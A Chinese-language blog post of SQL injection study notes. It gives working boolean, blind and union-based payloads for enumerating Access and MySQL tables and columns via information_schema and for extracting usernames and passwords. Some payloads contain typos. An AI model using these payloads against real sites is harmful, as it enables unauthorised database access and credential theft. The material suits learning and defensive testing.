zoukankan      html  css  js  c++  java
  • SQL注入学习笔记

    判断表明
    (select Count(*) from admin)>=0

    exists(select Count(*) from admin)

    判断列明
    exists(select user from admins)
    and exists(select username from admin)>=0

    猜解
    判断字段长度 and (select top 1 len(id) from admin)>1 返回正常

    猜解每个字节的asc码 and(select top 1 asc(mid(username,2,1))from admin)>99
    asc码1-128 采用折中法

    mid函数用于从文本中提取字符

    mid[ 列名 ,开始位置,(字符数,可选)]
    mid[admin , 1,1]admin列中第一个字符

    top ()是指定显示的行
    top 1显示第一行
    top2显示前两行

    first 显示该列的第一个记录的数据
    SELECT FIRST(OrderPrice) AS FirstOrderPrice FROM admin

    count用于显示指定列的行数
    select count(*) from admin
    查询admin表中的行数

    as 可创建一个新列来显示结果
    select count() as qqq from admin where id=1
    输出结果为
    qqq
    2
    意思是id=2的有两行

    order by 报错猜解显示数据
    1.先猜解字段数 asp?id=1 order by加一个数字猜
    2.然后在猜那个能显示数字 asp? union select 1,2,3,..... from 表明 如果是php不用加表明,php得先猜表明
    3.报错 asp? and 1=222 union select 1,2,3... from biao
    4显示数据将报错的数字改成要查询的数据 unoin select 1,password,2 from biao

    不同数据库注入

    数据库层次
    accesss数据库:
    数据库
    表名
    列名
    内容
    mysql数据库5.0:
    数据库

    aaaa
    表名
      列名
        内容
    bbbb
      表名
        列名
          内容

    assce数据库:暴力破解注入;
    登陆页面审查元素。查看name元素有可能是列明
    知道数据库路径是可以下载
    后缀:mdb asa asp
    数据库后缀名.asp依旧可以在服务器执行

    mysql注入
    mysql后缀myd myi frm
    mysql是与网站目录分开,采用远程命令进行连接
    mysql注入必需先猜解数据库名再猜解表明,mysql数据库名
    mysql5.0以上默认存在information_schema存储所有数据库下面的表名和列名信息
    information_schema.table是表明信息
    information_schema.columns列明信息
    table.schema 数据库名
    table.name 表明
    column.name 列明
    group_concat(tanle.name)所有表明
    mysql数据库操作
    数据库版本 version()
    数据库名 database()
    数据库用户 user()
    操作系统 @@version_compile_os
    查询所有表明 php?id=1 and 1=22 union select 1,group_concat(tanle_name),3.,4 .。。。from information_schema.tables where table_schema=数据库名 数据库名需要16进制编码
    选出可用表查询,查询所有列
    select 1,group_concat(column_name),3.,4 .。。。from information_schema.columns where table.name=表名 表名需要16进制编码
    直接猜解内容
    select 1,列明,3.,4 .。。。from 表明

    总结:
    猜数据库名
    database();
    猜表明
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
    and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x61646D696E
    猜列明
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
    猜密码
    and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

  • 相关阅读:
    HashMap 常问的 9 个问题
    P1855 榨取kkksc03
    Codeforces Round #697 (Div. 3) A. Odd Divisor
    P1474 [USACO2.3]Money System / [USACO07OCT]Cow Cash G
    Codeforces Round #704 (Div. 2) D. Genius's Gambit
    P2800 又上锁妖塔
    P2066 机器分配
    P3399 丝绸之路
    P1351 [NOIP2014 提高组] 联合权值
    P4290 [HAOI2008]玩具取名
  • 原文地址:https://www.cnblogs.com/hatkids/p/8910170.html
Copyright © 2011-2022 走看看